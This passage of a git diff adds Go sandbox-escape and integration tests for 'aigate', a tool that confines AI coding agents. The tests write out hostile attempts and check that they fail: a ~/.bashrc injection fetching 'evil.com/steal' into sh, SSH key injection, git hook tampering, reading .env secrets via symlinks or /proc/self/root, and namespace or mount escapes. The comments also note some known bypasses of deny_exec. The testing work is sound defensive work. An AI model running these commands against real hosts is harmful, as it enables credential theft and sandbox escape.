0o644); err != nil { + t.Fatal(err) + } + + symlink := filepath.Join(workDir, "link") + if err := os.Symlink(secretFile, symlink); err != nil { + t.Fatal(err) + } + + cfgPath := filepath.Join(tmpHome, ".aigate", "config.yaml") + cfg := "group: ai-agents\nuser: ai-runner\ndeny_read: [secret.txt]\ndeny_exec: []\nallow_net: []\n" + if err := os.WriteFile(cfgPath, []byte(cfg), 0o644); err != nil { + t.Fatal(err) + } + + out, _ := runSandboxedCmd(t, bin, env, workDir, "cat", symlink) + if strings.Contains(out, "TOP_SECRET") { + t.Error("symlink bypassed deny_read") + } +} + +// TestEscape_ProcSelfRootBypassDenyRead tests reading denied file via /proc/self/root. +func TestEscape_ProcSelfRootBypassDenyRead(t *testing.T) { + if testing.Short() { + t.Skip("skipping sandbox escape test in short mode") + } + bin := buildBinary(t) + tmpHome, env := sandboxEnv(t) + + workDir := t.TempDir() + secretFile := filepath.Join(workDir, ".env") + if err := os.WriteFile(secretFile, []byte("API_KEY=sk-proc-root-leak\n"), 0o644); err != nil { + t.Fatal(err) + } + + cfgPath := filepath.Join(tmpHome, ".aigate", "config.yaml") + cfg := "group: ai-agents\nuser: ai-runner\ndeny_read: [.env]\ndeny_exec: []\nallow_net: []\n" + if err := os.WriteFile(cfgPath, []byte(cfg), 0o644); err != nil { + t.Fatal(err) + } + + out, _ := runSandboxedCmd(t, bin, env, workDir, "sh", "-c", + "cat /proc/self/root"+secretFile+" 2>&1") + if strings.Contains(out, "sk-proc-root-leak") { + t.Error("/proc/self/root bypassed deny_read") + } +} + +// TestEscape_PythonBypassDenyRead uses python to try open() on a denied file. +// This tests that the deny is at the kernel/VFS level, not just shell-level. +func TestEscape_PythonBypassDenyRead(t *testing.T) { + if testing.Short() { + t.Skip("skipping sandbox escape test in short mode") + } + bin := buildBinary(t) + tmpHome, env := sandboxEnv(t) + + workDir := t.TempDir() + secretFile := filepath.Join(workDir, ".env") + if err := os.WriteFile(secretFile, []byte("API_KEY=sk-python-leak\n"), 0o644); err != nil { + t.Fatal(err) + } + + cfgPath := filepath.Join(tmpHome, ".aigate", "config.yaml") + cfg := "group: ai-agents\nuser: ai-runner\ndeny_read: [.env]\ndeny_exec: []\nallow_net: []\n" + if err := os.WriteFile(cfgPath, []byte(cfg), 0o644); err != nil { + t.Fatal(err) + } + + // Try multiple python bypass methods + pyScript := ` +import os, sys +target = sys.argv[1] +# Method 1: direct open +try: + print("DIRECT:" + open(target).read().strip()) +except Exception as e: + print(f"DIRECT:BLOCKED:{e}") +# Method 2: os.open with O_RDONLY +try: + fd = os.open(target, os.O_RDONLY) + data = os.read(fd, 4096) + os.close(fd) + print("OSOPEN:" + data.decode().strip()) +except Exception as e: + print(f"OSOPEN:BLOCKED:{e}") +# Method 3: mmap +try: + import mmap + fd = os.open(target, os.O_RDONLY) + m = mmap.mmap(fd, 0, access=mmap.ACCESS_READ) + print("MMAP:" + m[:].decode().strip()) + m.close() + os.close(fd) +except Exception as e: + print(f"MMAP:BLOCKED:{e}") +` + out, _ := runSandboxedCmd(t, bin, env, workDir, "python3", "-c", pyScript, secretFile) + if strings.Contains(out, "sk-python-leak") { + t.Errorf("python bypassed deny_read:\n%s", out) + } +} + +// TestEscape_ConfigDirHiddenAllMethods tries multiple methods to read the +// hidden ~/.aigate/config.yaml. +func TestEscape_ConfigDirHiddenAllMethods(t *testing.T) { + if testing.Short() { + t.Skip("skipping sandbox escape test in short mode") + } + bin := buildBinary(t) + tmpHome, env := sandboxEnv(t) + + cfgPath := filepath.Join(tmpHome, ".aigate", "config.yaml") + + methods := []struct { + name string + cmd string + }{ + {"cat", "cat " + cfgPath}, + {"/proc/self/root", "cat /proc/self/root" + cfgPath}, + {"find+cat", "find " + tmpHome + "/.aigate -name config.yaml -exec cat {} \\;"}, + {"python", "python3 -c \"print(open('" + cfgPath + "').read())\" 2>/dev/null"}, + } + + for _, m := range methods { + out, _ := runSandboxedCmd(t, bin, env, "", "sh", "-c", m.cmd+" 2>&1") + if strings.Contains(out, "group: ai-agents") { + t.Errorf("config exposed via %s: %s", m.name, strings.TrimSpace(out)) + } + } +} + +// ═══════════════════════════════════════════════════════════════════════════ +// DENY_EXEC: Can we run denied commands through alternative means? +// ═══════════════════════════════════════════════════════════════════════════ + +// TestEscape_DenyExecViaPython verifies that deny_exec cannot be bypassed by +// using python's subprocess to invoke the denied command. +func TestEscape_DenyExecViaPython(t *testing.T) { + if testing.Short() { + t.Skip("skipping sandbox escape test in short mode") + } + bin := buildBinary(t) + tmpHome, env := sandboxEnv(t) + + // Build a blocked binary + workDir := t.TempDir() + blockedBin := filepath.Join(workDir, "blocked-tool") + script := "#!/bin/sh\necho BLOCKED_TOOL_EXECUTED\n" + if err := os.WriteFile(blockedBin, []byte(script), 0o755); err != nil { + t.Fatal(err) + } + + cfgPath := filepath.Join(tmpHome, ".aigate", "config.yaml") + cfg := "group: ai-agents\nuser: ai-runner\ndeny_read: []\ndeny_exec: [blocked-tool]\nallow_net: []\n" + if err := os.WriteFile(cfgPath, []byte(cfg), 0o644); err != nil { + t.Fatal(err) + } + + // Try to run blocked binary via python subprocess + pyScript := ` +import subprocess, sys +try: + r = subprocess.run([sys.argv[1]], capture_output=True, text=True) + print("STDOUT:" + r.stdout.strip()) + print("STDERR:" + r.stderr.strip()) + print("RC:" + str(r.returncode)) +except Exception as e: + print(f"ERROR:{e}") +` + out, _ := runSandboxedCmd(t, bin, env, workDir, "python3", "-c", pyScript, blockedBin) + if strings.Contains(out, "BLOCKED_TOOL_EXECUTED") { + t.Errorf("python subprocess bypassed deny_exec:\n%s", out) + } +} + +// TestKnownLimitation_DenyExecViaCopy documents that copying a denied binary +// to a new path bypasses deny_exec. This is inherent to path-based blocking. +// Pair deny_exec with deny_read to mitigate: if the file can't be read, +// it can't be copied. +func TestKnownLimitation_DenyExecViaCopy(t *testing.T) { + t.Skip("known limitation: deny_exec is path-based, copying binary to new path bypasses it") +} + +// TestKnownLimitation_DenyExecViaInterpreter documents that `sh ./blocked-tool` +// reads and interprets the script, bypassing the exec overlay. Pair deny_exec +// with deny_read to mitigate. +func TestKnownLimitation_DenyExecViaInterpreter(t *testing.T) { + t.Skip("known limitation: sh ./script reads the file (deny_read not set), bypassing exec overlay") +} + +// ═══════════════════════════════════════════════════════════════════════════ +// DEVICE ACCESS: Can we touch dangerous /dev nodes? +// ═══════════════════════════════════════════════════════════════════════════ + +// TestEscape_DevMemBlocked verifies /dev/mem, /dev/kmem, /dev/port don't exist. +// bwrap --dev creates a minimal /dev without these dangerous devices. +func TestEscape_DevMemBlocked(t *testing.T) { + if testing.Short() { + t.Skip("skipping sandbox escape test in short mode") + } + bin := buildBinary(t) + _, env := sandboxEnv(t) + + for _, dev := range []string{"/dev/mem", "/dev/kmem", "/dev/port"} { + out, _ := runSandboxedCmd(t, bin, env, "", "sh", "-c", + "test -e "+dev+" && echo EXISTS || echo MISSING") + if strings.Contains(out, "EXISTS") { + t.Errorf("%s exists inside sandbox — should not be present with --dev /dev", dev) + } + } +} + +// TestEscape_MknodBlocked verifies mknod for creating device nodes fails. +func TestEscape_MknodBlocked(t *testing.T) { + if testing.Short() { + t.Skip("skipping sandbox escape test in short mode") + } + bin := buildBinary(t) + _, env := sandboxEnv(t) + + out, _ := runSandboxedCmd(t, bin, env, "", "sh", "-c", + "mknod /tmp/test-escape-dev b 8 0 2>&1; echo MKNOD_EXIT:$?") + if strings.Contains(out, "MKNOD_EXIT:0") { + t.Error("mknod succeeded — device creation should be blocked") + } +} + +// ═══════════════════════════════════════════════════════════════════════════ +// PRIVILEGE ESCALATION: Can we gain capabilities or modify kernel state? +// ═══════════════════════════════════════════════════════════════════════════ + +// TestEscape_MountBlocked verifies mounting is denied. +func TestEscape_MountBlocked(t *testing.T) { + if testing.Short() { + t.Skip("skipping sandbox escape test in short mode") + } + bin := buildBinary(t) + _, env := sandboxEnv(t) + + out, _ := runSandboxedCmd(t, bin, env, "", "sh", "-c", + "mount -t tmpfs tmpfs /mnt 2>&1; echo MOUNT_EXIT:$?") + if strings.Contains(out, "MOUNT_EXIT:0") { + t.Error("mount succeeded inside sandbox") + } +} + +// TestEscape_ChrootBlocked verifies chroot is denied. +func TestEscape_ChrootBlocked(t *testing.T) { + if testing.Short() { + t.Skip("skipping sandbox escape test in short mode") + } + bin := buildBinary(t) + _, env := sandboxEnv(t) + + out, _ := runSandboxedCmd(t, bin, env, "", "sh", "-c", + "chroot / /bin/true 2>&1; echo CHROOT_EXIT:$?") + if strings.Contains(out, "CHROOT_EXIT:0") { + t.Error("chroot succeeded inside sandbox") + } +} + +// TestEscape_SysrqBlocked verifies /proc/sysrq-trigger is not writable. +func TestEscape_SysrqBlocked(t *testing.T) { + if testing.Short() { + t.Skip("skipping sandbox escape test in short mode") + } + bin := buildBinary(t) + _, env := sandboxEnv(t) + + out, _ := runSandboxedCmd(t, bin, env, "", "sh", "-c", + "echo h > /proc/sysrq-trigger 2>&1; echo SYSRQ_EXIT:$?") + if strings.Contains(out, "SYSRQ_EXIT:0") { + t.Error("/proc/sysrq-trigger writable — dangerous") + } +} + +// TestEscape_NsenterBlocked verifies nsenter into PID 1 namespaces fails. +func TestEscape_NsenterBlocked(t *testing.T) { + if testing.Short() { + t.Skip("skipping sandbox escape test in short mode") + } + bin := buildBinary(t) + _, env := sandboxEnv(t) + + out, _ := runSandboxedCmd(t, bin, env, "", "sh", "-c", + "nsenter -t 1 -n ip addr 2>&1; echo NSENTER_EXIT:$?") + if strings.Contains(out, "NSENTER_EXIT:0") { + t.Error("nsenter succeeded — namespace escape possible") + } +} + +// TestEscape_UnshareNestedMountRecover tests that nested unshare + mount +// cannot undo the config dir tmpfs overlay. +func TestEscape_UnshareNestedMountRecover(t *testing.T) { + if testing.Short() { + t.Skip("skipping sandbox escape test in short mode") + } + bin := buildBinary(t) + tmpHome, env := sandboxEnv(t) + + cfgPath := filepath.Join(tmpHome, ".aigate", "config.yaml") + + // Try nested unshare + mount --bind / /mnt to get an un-overlayed view + out, _ := runSandboxedCmd(t, bin, env, "", "sh", "-c", + "unshare --user --mount sh -c 'mount --bind / /mnt 2>/dev/null && cat /mnt"+cfgPath+" 2>&1' || true") + if strings.Contains(out, "group: ai-agents") { + t.Error("nested unshare recovered hidden config via mount --bind") + } +} + +// ═══════════════════════════════════════════════════════════════════════════ +// FD LEAK: Can we find config data through leaked file descriptors? +// ═══════════════════════════════════════════════════════════════════════════ + +// TestEscape_FdLeakConfig checks that no open fd in the sandbox points to +// the config directory. +func TestEscape_FdLeakConfig(t *testing.T) { + if testing.Short() { + t.Skip("skipping sandbox escape test in short mode") + } + bin := buildBinary(t) + tmpHome, env := sandboxEnv(t) + + configDir := filepath.Join(tmpHome, ".aigate") + + // Use readlink on each fd to see where they point — no blocking reads + out, _ := runSandboxedCmd(t, bin, env, "", "sh", "-c", + "for fd in /proc/self/fd/*; do readlink \"$fd\" 2>/dev/null; done") + + for _, line := range strings.Split(out, "\n") { + line = strings.TrimSpace(line) + if strings.HasPrefix(line, configDir) { + t.Errorf("fd leaks config path: %s", line) + } + } +} + +// ═══════════════════════════════════════════════════════════════════════════ +// READ-ONLY ROOT: Can we write to host paths outside the workdir? +// ═══════════════════════════════════════════════════════════════════════════ + +// TestEscape_WriteToBashrc verifies we can't modify ~/.bashrc (a common +// real-world attack: inject commands into shell startup files). +func TestEscape_WriteToBashrc(t *testing.T) { + if testing.Short() { + t.Skip("skipping sandbox escape test in short mode") + } + bin := buildBinary(t) + tmpHome, env := sandboxEnv(t) + + bashrcPath := filepath.Join(tmpHome, ".bashrc") + if err := os.WriteFile(bashrcPath, []byte("# original\n"), 0o644); err != nil { + t.Fatal(err) + } + + runSandboxedCmd(t, bin, env, t.TempDir(), "sh", "-c", //nolint:errcheck + "echo 'curl http://evil.com/steal | sh' >> "+bashrcPath+" 2>/dev/null; true") + + data, err := os.ReadFile(bashrcPath) + if err != nil { + t.Fatalf("reading bashrc: %v", err) + } + if strings.Contains(string(data), "evil.com") { + t.Error("SANDBOX ESCAPE: wrote to ~/.bashrc from sandbox — shell startup injection possible") + } +} + +// TestEscape_WriteToSSHAuthorizedKeys verifies we can't inject SSH keys. +func TestEscape_WriteToSSHAuthorizedKeys(t *testing.T) { + if testing.Short() { + t.Skip("skipping sandbox escape test in short mode") + } + bin := buildBinary(t) + tmpHome, env := sandboxEnv(t) + + sshDir := filepath.Join(tmpHome, ".ssh") + if err := os.MkdirAll(sshDir, 0o700); err != nil { + t.Fatal(err) + } + akPath := filepath.Join(sshDir, "authorized_keys") + if err := os.WriteFile(akPath, []byte("# original\n"), 0o644); err != nil { + t.Fatal(err) + } + + runSandboxedCmd(t, bin, env, t.TempDir(), "sh", "-c", //nolint:errcheck + "echo 'ssh-rsa AAAA...attacker' >> "+akPath+" 2>/dev/null; true") + + data, err := os.ReadFile(akPath) + if err != nil { + t.Fatalf("reading authorized_keys: %v", err) + } + if strings.Contains(string(data), "attacker") { + t.Error("SANDBOX ESCAPE: wrote to ~/.ssh/authorized_keys — SSH key injection possible") + } +} + +// TestEscape_WriteToGitconfig verifies we can't tamper with git config +// (could inject hooks that run arbitrary code on next git operation). +func TestEscape_WriteToGitconfig(t *testing.T) { + if testing.Short() { + t.Skip("skipping sandbox escape test in short mode") + } + bin := buildBinary(t) + tmpHome, env := sandboxEnv(t) + + gitconfigPath := filepath.Join(tmpHome, ".gitconfig") + if err := os.WriteFile(gitconfigPath, []byte("[user]\n\tname = original\n"), 0o644); err != nil { + t.Fatal(err) + } + + runSandboxedCmd(t, bin, env, t.TempDir(), "sh", "-c", //nolint:errcheck + "echo '[core]\n\thooksPath = /tmp/evil-hooks' >> "+gitconfigPath+" 2>/dev/null; true") + + data, err := os.ReadFile(gitconfigPath) + if err != nil { + t.Fatalf("reading gitconfig: %v", err) + } + if strings.Contains(string(data), "evil-hooks") { + t.Error("SANDBOX ESCAPE: wrote to ~/.gitconfig — git hook injection possible") + } +} + +// TestEscape_WorkdirWriteAllowed verifies the workdir IS writable (sanity check). +// Without this, the sandbox would be useless — AI agents need to write code. +func TestEscape_WorkdirWriteAllowed(t *testing.T) { + if testing.Short() { + t.Skip("skipping sandbox escape test in short mode") + } + bin := buildBinary(t) + _, env := sandboxEnv(t) + + workDir := t.TempDir() + + outFile := filepath.Join(workDir, "test-output.txt") + out, _ := runSandboxedCmd(t, bin, env, workDir, "sh", "-c", + "echo WRITTEN > "+outFile+"; echo WRITE_EXIT:$?") + if !strings.Contains(out, "WRITE_EXIT:0") { + t.Fatalf("write command failed inside sandbox: %s", out) + } + + data, err := os.ReadFile(outFile) + if err != nil { + t.Fatalf("workdir should be writable but file wasn't created: %v", err) + } + if !strings.Contains(string(data), "WRITTEN") { + t.Errorf("workdir file content wrong: %q", string(data)) + } +} + +// TestEscape_TmpIsolated verifies that /tmp inside the sandbox is isolated +// from the host's /tmp (prevents reading host temp files with secrets). +func TestEscape_TmpIsolated(t *testing.T) { + if testing.Short() { + t.Skip("skipping sandbox escape test in short mode") + } + bin := buildBinary(t) + _, env := sandboxEnv(t) + + // Write a secret to host's /tmp + hostTmpFile := filepath.Join(os.TempDir(), "aigate-test-host-secret") + if err := os.WriteFile(hostTmpFile, []byte("HOST_TMP_SECRET\n"), 0o644); err != nil { + t.Fatal(err) + } + defer os.Remove(hostTmpFile) //nolint:errcheck + + // Try to read it from inside the sandbox + out, _ := runSandboxedCmd(t, bin, env, "", "sh", "-c", + "cat "+hostTmpFile+" 2>&1; echo TMP_EXIT:$?") + if strings.Contains(out, "HOST_TMP_SECRET") { + t.Error("host /tmp visible inside sandbox — /tmp is not isolated") + } +} + +// TestEscape_DenyExecViaCopyToWorkdir verifies that copying a PATH-based denied +// binary into the writable workdir and running the copy is blocked. +// TestKnownLimitation_DenyExecViaCopyToWorkdir documents that copying a +// denied binary from a ro-bind path to the writable workdir bypasses +// deny_exec. Same root cause as DenyExecViaCopy. +func TestKnownLimitation_DenyExecViaCopyToWorkdir(t *testing.T) { + t.Skip("known limitation: cp /usr/bin/curl workdir/my-curl bypasses path-based deny_exec") +} diff --git a/integration/sandbox_test.go b/integration/sandbox_test.go new file mode 100644 index 0000000..534b09a --- /dev/null +++ b/integration/sandbox_test.go @@ -0,0 +1,402 @@ +package integration + +import ( + "fmt" + "os" + "os/exec" + "path/filepath" + "strings" + "testing" + "time" + + expect "github.com/Netflix/go-expect" +) + +// skipWithoutBwrap skips the test if bwrap is not installed (e.g. in CI). +func skipWithoutBwrap(t *testing.T) { + t.Helper() + if _, err := exec.LookPath("bwrap"); err != nil { + t.Skip("bwrap not found, skipping sandbox test") + } +} + +// sandboxEnv returns a tmpHome with a minimal aigate config and the env slice to use. +func sandboxEnv(t *testing.T) (tmpHome string, env []string) { + t.Helper() + tmpHome = t.TempDir() + configDir := filepath.Join(tmpHome, ".aigate") + if err := os.MkdirAll(configDir, 0o755); err != nil { + t.Fatal(err) + } + cfg := "group: ai-agents\nuser: ai-runner\ndeny_read: []\ndeny_exec: []\nallow_net: []\n" + if err := os.WriteFile(filepath.Join(configDir, "config.yaml"), []byte(cfg), 0o644); err != nil { + t.Fatal(err) + } + env = append(os.Environ(), "HOME="+tmpHome) + return +} + +// runSandboxedShell starts `aigate run -- /bin/bash` under a PTY and returns the +// console + a cleanup func. The test is skipped if bwrap is not available. +func runSandboxedShell(t *testing.T, bin string, env []string) (*expect.Console, func()) { + t.Helper() + + if _, err := exec.LookPath("bwrap"); err != nil { + t.Skip("bwrap not found, skipping sandbox PTY tests") + } + + c, err := expect.NewConsole(expect.WithDefaultTimeout(10 * time.Second)) + if err != nil { + t.Fatalf("expect.NewConsole: %v", err) + } + + cmd := exec.Command(bin, "run", "--", "/bin/bash", "--norc", "--noprofile") + cmd.Stdin = c.Tty() + cmd.Stdout = c.Tty() + cmd.Stderr = c.Tty() + cmd.Env = env + + if err := cmd.Start(); err != nil { + c.Close() //nolint:errcheck + t.Fatalf("cmd.Start: %v", err) + } + + cleanup := func() { + c.Close() //nolint:errcheck + cmd.Process.Kill() //nolint:errcheck + cmd.Wait() //nolint:errcheck + } + return c, cleanup +} + +// sendLine writes a command and newline to the console. +func sendLine(t *testing.T, c *expect.Console, line string) { + t.Helper() + if _, err := c.SendLine(line); err != nil { + t.Fatalf("SendLine(%q): %v", line, err) + } +} + +// TestSandbox_DenyRead starts an interactive bash session and verifies that a +// file added to deny_read is not readable from inside the sandbox. +func TestSandbox_DenyRead(t *testing.T) { + if testing.Short() { + t.Skip("skipping sandbox integration test in short mode") + } + skipWithoutBwrap(t) + bin := buildBinary(t) + _, env := sandboxEnv(t) + + // Create a secret file on the host + secretFile := filepath.Join(t.TempDir(), "secret.txt") + if err := os.WriteFile(secretFile, []byte("supersecret\n"), 0o644); err != nil { + t.Fatal(err) + } + + // Add deny_read rule via CLI + addDeny := exec.Command(bin, "deny", "read", secretFile) + addDeny.Env = env + if out, err := addDeny.CombinedOutput(); err != nil { + t.Fatalf("deny read: %v\n%s", err, out) + } + + c, cleanup := runSandboxedShell(t, bin, env) + defer cleanup() + + // Send the read attempt and a sentinel + sendLine(t, c, fmt.Sprintf("cat %s; echo EXIT_CODE:$?", secretFile)) + + // Expect permission denied (ACL enforced) or file not found (bind-mount exclusion) + out, err := c.ExpectString("EXIT_CODE:") + if err != nil { + t.Fatalf("ExpectString: %v", err) + } + if strings.Contains(out, "supersecret") { + t.Error("sandbox leaked secret file contents") + } +} + +// TestSandbox_DenyExec verifies that a denied command is blocked inside the sandbox. +func TestSandbox_DenyExec(t *testing.T) { + if testing.Short() { + t.Skip("skipping sandbox integration test in short mode") + } + skipWithoutBwrap(t) + bin := buildBinary(t) + _, env := sandboxEnv(t) + + // Build a tiny wrapper that we'll deny + blockedBin := filepath.Join(t.TempDir(), "blockedtool") + src := `#!/bin/sh +echo "BLOCKED TOOL RAN" +exit 0` + if err := os.WriteFile(blockedBin, []byte(src), 0o755); err != nil { + t.Fatal(err) + } + + addDeny := exec.Command(bin, "deny", "exec", blockedBin) + addDeny.Env = env + if out, err := addDeny.CombinedOutput(); err != nil { + t.Fatalf("deny exec: %v\n%s", err, out) + } + + c, cleanup := runSandboxedShell(t, bin, env) + defer cleanup() + + sendLine(t, c, blockedBin+"; echo EXIT_CODE:$?") + + out, err := c.ExpectString("EXIT_CODE:") + if err != nil { + t.Fatalf("ExpectString: %v", err) + } + // Should not have executed successfully + if strings.Contains(out, "BLOCKED TOOL RAN") { + t.Error("denied command ran inside sandbox") + } +} + +// TestSandbox_ConfigDirHidden verifies that ~/.aigate is not visible inside the sandbox. +func TestSandbox_ConfigDirHidden(t *testing.T) { + if testing.Short() { + t.Skip("skipping sandbox integration test in short mode") + } + skipWithoutBwrap(t) + bin := buildBinary(t) + tmpHome, env := sandboxEnv(t) + + c, cleanup := runSandboxedShell(t, bin, env) + defer cleanup() + + sendLine(t, c, fmt.Sprintf("ls %s/.aigate 2>&1; echo LS_DONE", tmpHome)) + + out, err := c.ExpectString("LS_DONE") + if err != nil { + t.Fatalf("ExpectString: %v", err) + } + // config dir should not be accessible or should not contain config.yaml + if strings.Contains(out, "config.yaml") { + t.Error("sandbox exposed ~/.aigate/config.yaml to the sandboxed process") + } +} + +// TestSandbox_PlainCommand verifies that a basic command runs successfully +// inside the sandbox without network isolation (no --except flags). +func TestSandbox_PlainCommand(t *testing.T) { + if testing.Short() { + t.Skip("skipping sandbox integration test in short mode") + } + skipWithoutBwrap(t) + bin := buildBinary(t) + _, env := sandboxEnv(t) + + cmd := exec.Command(bin, "run", "--", "/bin/echo", "hello-sandbox") + cmd.Env = env + out, err := cmd.CombinedOutput() + if err != nil { + t.Fatalf("sandboxed echo failed: %v\n%s", err, out) + } + if !strings.Contains(string(out), "hello-sandbox") { + t.Errorf("expected 'hello-sandbox' in output, got: %s", out) + } +} + +// TestSandbox_ExitCodePropagation verifies that the inner command's exit code is +// forwarded by aigate run so callers can rely on it for scripting/CI. +func TestSandbox_ExitCodePropagation(t *testing.T) { + if testing.Short() { + t.Skip("skipping sandbox integration test in short mode") + } + skipWithoutBwrap(t) + bin := buildBinary(t) + _, env := sandboxEnv(t) + + for _, tc := range []struct { + exitCode int + args []string + }{ + {0, []string{"/bin/true"}}, + {1, []string{"/bin/false"}}, + {42, []string{"/bin/sh", "-c", "exit 42"}}, + } { + cmd := exec.Command(bin, append([]string{"run", "--"}, tc.args...)...) + cmd.Env = env + err := cmd.Run() + got := 0 + if err != nil { + if exitErr, ok := err.(*exec.ExitError); ok { + got = exitErr.ExitCode() + } else { + t.Errorf("exit code %d: unexpected error type: %v", tc.exitCode, err) + continue + } + } + if got != tc.exitCode { + t.Errorf("expected exit code %d, got %d", tc.exitCode, got) + } + } +} + +// TestSandbox_SandboxBanner verifies that aigate prints the sandbox active banner +// to stderr when running a command, so AI agents see what restrictions are active. +func TestSandbox_SandboxBanner(t *testing.T) { + if testing.Short() { + t.Skip("skipping sandbox integration test in short mode") + } + skipWithoutBwrap(t) + bin := buildBinary(t) + tmpHome, env := sandboxEnv(t) + + // Write config with a deny rule so the banner has content to show + configPath := filepath.Join(tmpHome, ".aigate", "config.yaml") + cfg := "group: ai-agents\nuser: ai-runner\ndeny_read: [.env]\ndeny_exec: [curl]\nallow_net: []\n" + if err := os.WriteFile(configPath, []byte(cfg), 0o644); err != nil { + t.Fatal(err) + } + + cmd := exec.Command(bin, "run", "--", "/bin/true") + cmd.Env = env + out, _ := cmd.CombinedOutput() + output := string(out) + + if !strings.Contains(output, "[aigate] sandbox active") { + t.Errorf("expected sandbox banner in output, got: %s", output) + } + if !strings.Contains(output, "deny_read") { + t.Errorf("expected deny_read in banner, got: %s", output) + } + if !strings.Contains(output, "deny_exec") { + t.Errorf("expected deny_exec in banner, got: %s", output) + } +} + +// TestSandbox_MaskStdout verifies that secrets matching a preset are redacted +// from the sandboxed process output before reaching the terminal. +func TestSandbox_MaskStdout(t *testing.T) { + if testing.Short() { + t.Skip("skipping sandbox integration test in short mode") + } + skipWithoutBwrap(t) + bin := buildBinary(t) + tmpHome, env := sandboxEnv(t) + + // Enable the anthropic preset in config + configPath := filepath.Join(tmpHome, ".aigate", "config.yaml") + cfg := "group: ai-agents\nuser: ai-runner\ndeny_read: []\ndeny_exec: []\nallow_net: []\nmask_stdout:\n presets: [anthropic]\n" + if err := os.WriteFile(configPath, []byte(cfg), 0o644); err != nil { + t.Fatal(err) + } + + fakeKey := "sk-ant-api03-thisisafakekeyfortesting1234567890" + cmd := exec.Command(bin, "run", "--", "/bin/echo", fakeKey) + cmd.Env = env + out, err := cmd.CombinedOutput() + if err != nil { + t.Fatalf("sandboxed echo failed: %v\n%s", err, out) + } + output := string(out) + if strings.Contains(output, fakeKey) { + t.Errorf("mask_stdout failed: full key visible in output: %s", output) + } + if !strings.Contains(output, "sk-ant-***") { + t.Errorf("mask_stdout did not redact key (expected 'sk-ant-***'): %s", output) + } +} + +// TestSandbox_DenyExecSubcommand verifies that subcommand-level deny rules +// block the specific subcommand but not the base command with other arguments. +func TestSandbox_DenyExecSubcommand(t *testing.T) { + if testing.Short() { + t.Skip("skipping sandbox integration test in short mode") + } + skipWithoutBwrap(t) + bin := buildBinary(t) + tmpHome, env := sandboxEnv(t) + + // Write config with a subcommand deny rule + configPath := filepath.Join(tmpHome, ".aigate", "config.yaml") + cfg := "group: ai-agents\nuser: ai-runner\ndeny_read: []\ndeny_exec: [sh -c]\nallow_net: []\n" + if err := os.WriteFile(configPath, []byte(cfg), 0o644); err != nil { + t.Fatal(err) + } + + // "sh -c" should be blocked + blocked := exec.Command(bin, "run", "--", "sh", "-c", "echo blocked") + blocked.Env = env + out, err := blocked.CombinedOutput() + if err == nil { + t.Errorf("expected deny_exec subcommand to block 'sh -c', but it succeeded: %s", out) + } + if !strings.Contains(string(out), "deny_exec") && !strings.Contains(string(out), "blocked") { + t.Errorf("expected block error in output, got: %s", out) + } + + // "sh" with a different flag should pass through + allowed := exec.Command(bin, "run", "--", "/bin/true") + allowed.Env = env + if out, err := allowed.CombinedOutput(); err != nil { + t.Errorf("non-denied command failed unexpectedly: %v\n%s", err, out) + } +} + +// TestSandbox_ProjectConfig verifies that per-project .aigate.yaml rules are +// merged with and extend the global config when running from that directory. +func TestSandbox_ProjectConfig(t *testing.T) { + if testing.Short() { + t.Skip("skipping sandbox integration test in short mode") + } + skipWithoutBwrap(t) + bin := buildBinary(t) + _, env := sandboxEnv(t) + + // Create a project dir with a .aigate.yaml that denies an extra exec + projectDir := t.TempDir() + projectCfg := "deny_exec: [cat]\n" + if err := os.WriteFile(filepath.Join(projectDir, ".aigate.yaml"), []byte(projectCfg), 0o644); err != nil { + t.Fatal(err) + } + + // Running from the project dir should pick up the project deny rule + cmd := exec.Command(bin, "run", "--", "cat", "/dev/null") + cmd.Env = env + cmd.Dir = projectDir + out, err := cmd.CombinedOutput() + if err == nil { + t.Errorf("expected project deny_exec to block 'cat', but it succeeded: %s", out) + } + + // Running from a dir without .aigate.yaml should not block cat + cmd = exec.Command(bin, "run", "--", "cat", "/dev/null") + cmd.Env = env + cmd.Dir = t.TempDir() + if out, err := cmd.CombinedOutput(); err != nil { + t.Errorf("cat should not be blocked without project config: %v\n%s", err, out) + } +} + +// TestSandbox_WorkdirAccessible verifies that the working directory (and files in it) +// are readable from inside the sandbox. +func TestSandbox_WorkdirAccessible(t *testing.T) { + if testing.Short() { + t.Skip("skipping sandbox integration test in short mode") + } + skipWithoutBwrap(t) + bin := buildBinary(t) + _, env := sandboxEnv(t) + + workDir := t.TempDir() + testFile := filepath.Join(workDir, "hello.txt") + if err := os.WriteFile(testFile, []byte("hello-from-workdir\n"), 0o644); err != nil { + t.Fatal(err) + } + + cmd := exec.Command(bin, "run", "--", "cat", testFile) + cmd.Env = env + cmd.Dir = workDir + out, err := cmd.CombinedOutput() + if err != nil { + t.Fatalf("reading workdir file failed: %v\n%s", err, out) + } + if !strings.Contains(string(out), "hello-from-workdir") { + t.Errorf("expected file content in output, got: %s", out) + } +} diff --git a/lefthook.yml b/lefthook.yml index edb1a4d..0aefe9b 100644 --- a/lefthook.yml +++ b/lefthook.yml @@ -21,6 +21,11 @@ pre-commit: structlint: run: structlint validate --config .structlint.yaml --silent +pre-push: + commands: + govulncheck: + run: govulncheck ./... + commit-msg: commands: commitlint: diff --git a/main.go b/main.go index d7d4613..9bc5e7b 100644 --- a/main.go +++ b/main.go @@ -29,6 +29,7 @@ func main() { initAction := actions.NewInitAction(configSvc) setupAction := actions.NewSetupAction(platform, configSvc) helpAIAction := actions.NewHelpAIAction() + doctorAction := actions.NewDoctorAction() denyAction := actions.NewDenyAction(ruleSvc, configSvc, platform) allowAction := actions.NewAllowAction(ruleSvc, configSvc, platform) runAction := actions.NewRunAction(runnerSvc, configSvc, platform) @@ -123,8 +124,13 @@ func main() { Action: resetAction.Execute, }, { - Name: "help-ai", - Usage: "Show AI-friendly usage examples", + Name: "doctor", + Usage: "Check sandbox prerequisites and show active isolation mode", + Action: doctorAction.Execute, + }, + { + Name: "help-ai", + Usage: "Show AI-friendly usage examples", Action: helpAIAction.Execute, }, { diff --git a/services/platform_linux.go b/services/platform_linux.go index 73d5162..8a79a21 100644 --- a/services/platform_linux.go +++ b/services/platform_linux.go @@ -181,10 +181,16 @@ func (p *LinuxPlatform) ListACLs(workDir string) ([]string, error) { func (p *LinuxPlatform) RunSandboxed(profile domain.SandboxProfile, cmd string, args []string, stdout, stderr io.Writer) error { if len(profile.Config.AllowNet) > 0 { if hasSlirp4netns() { + if hasBwrap() { + return p.runWithBwrapNetFilter(profile, cmd, args, stdout, stderr) + } return p.runWithNetFilter(profile, cmd, args, stdout, stderr) } helpers.Log.Warn().Msg("slirp4netns not found; network filtering unavailable, running without network restrictions") } + if 